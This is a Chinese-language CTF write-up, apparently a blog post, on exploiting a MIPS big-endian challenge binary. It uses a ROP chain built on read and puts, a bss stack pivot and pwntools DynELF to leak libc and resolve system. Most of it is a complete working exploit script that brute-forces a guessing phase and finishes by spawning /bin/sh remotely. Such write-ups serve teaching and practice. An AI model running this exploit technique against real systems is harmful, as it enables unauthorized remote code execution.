参照https://www.jianshu.com/p/25d709016f4e,这道PWN题相对上一道增加了一些难度,主要是没有显式调用system函数,所以需要通过一些技巧找到libc里面的system函数加载地址。在有libc的情况下,通过先泄露其他函数的实际地址再加上其在libc里与system函数的偏移值就可以获得system函数的实际地址了,而在没有libc文件的情况下,有的时候可以配合pwntools中的DynELF模块来动态获取system函数地址,这也是本篇关键所在。
由于DynELF需要先实现一个函数,这个函数的作用就是给定一个地址,最后可以获取这个地址上的内容,并且这个过程可以重复进行。而为了保证这个过程可以重复进行,就需要一个来读取数据,另一个来输出数据,查看导入表: 可以发现read函数可以用来读数据,puts函数可以用来输出数据,大致构想就是通过构造ROP链来调用read函数来等待数据,把等待来的数据存放在可以控制的栈空间里,然后再通过ROP链调用puts函数返回指定地址的数据信息,再通过ROP链调用read函数来等待数据的到来,这样就可以形成一个循环了。为了找到一个可控栈空间,首先需要在汇编代码里找到一个栈支点,这个支点可以改变sp寄存器的值,通过查找发现这个地方正好合适,这里既可以控制sp、fp也可以控制ra: 然后需要找到存放数据的地方,这个地址是可知的并且可以有写入数据的权限,ELF文件的bss段正好符合: 然后根据__libc_csu_init函数中的ROP组合起来就可以了:
成功PWN图:
from pwn import *
context.arch = 'mips'
context.endian = 'big'
p = remote("ip",port)
e = ELF('./ipowtn_reborn')
gets = e.got['read']
puts = e.got['puts']
ii = True
def leak(addr):
global ii
sp = 0x411f00 if ii else 0x411e00
ii = not ii
rop = p32(1) + p32(puts) + p32(0) + p32(addr) + p32(0) + p32(0) + p32(0x4011a0) + '2'*0x1c + p32(1) + p32(gets) + p32(0) + p32(0) + p32(sp) + p32(208) + p32(0x4011a0) + 'a'*0x34 + p32(0x400bb0)
payload = 'a'*0x20 + p32(sp) + p32(0x4011c4) + "a"*0x1c + rop
p.send(payload)
buf = ''
while True:
n = p.recv(1, timeout = 0.3)
if buf != '' and n == '':
buf = buf[:-1] + '\0'
break
else:
buf = buf + n
return buf[:4]
pl = ['We','are','grad','from','nomal','arch','bcz','W3Are']
for x in xrange(9):
i = 0
for y in pl:
p.sendline(y)
m = p.recvline(timeout=0.1)
if 'guess' in m:
i = i + 1
if i == len(pl):
for t in xrange(0x70, 0xf0):
p.send('hakker' + p8(t) + p8(0x98))
n = p.recvline(timeout=0.1)
if 'guess' not in n:
print str(x) + ': hakker' + chr(t) + chr(0x98)
break
break
continue
else:
print str(x)+': '+y
pl.remove(y)
break
p.recvuntil('go!')
p.recvline()
print 'start...'
rop = p32(1) + p32(gets) + p32(0) + p32(0) + p32(0x411f00) + p32(152) + p32(0x4011a0) + '2'*0x34 + p32(0x400bb0)
payload = "a"*0x20 + p32(0x411f00) + p32(0x4011c4) + "a"*0x24 + rop
p.sendline(payload)
rop = p32(1) + p32(gets) + p32(0) + p32(0) + p32(0x411e00) + p32(208) + p32(0x4011a0) + '2'*0x34 + p32(0x400bb0)
payload = 'a'*0x20 + p32(0x411e00) + p32(0x4011c4) + "a"*0x1c + rop
p.send(payload)
dELF = DynELF(leak, u32(leak(gets)) - 0xe0000)
esystem = dELF.lookup('system')
print 'system addr: %04x' % esystem
sps = 0x411f00 if not ii else 0x411e00
rop = p32(1) + p32(sps) + p32(0) + p32(sps + 96) + p32(0) + p32(0) + p32(0x4011a0) + '/bin/sh\0'
payload = p32(esystem).ljust(0x20, '0') + p32(sps) + p32(0x4011c4) + "a"*0x1c + rop
p.sendline(payload)
p.interactive()
网友评论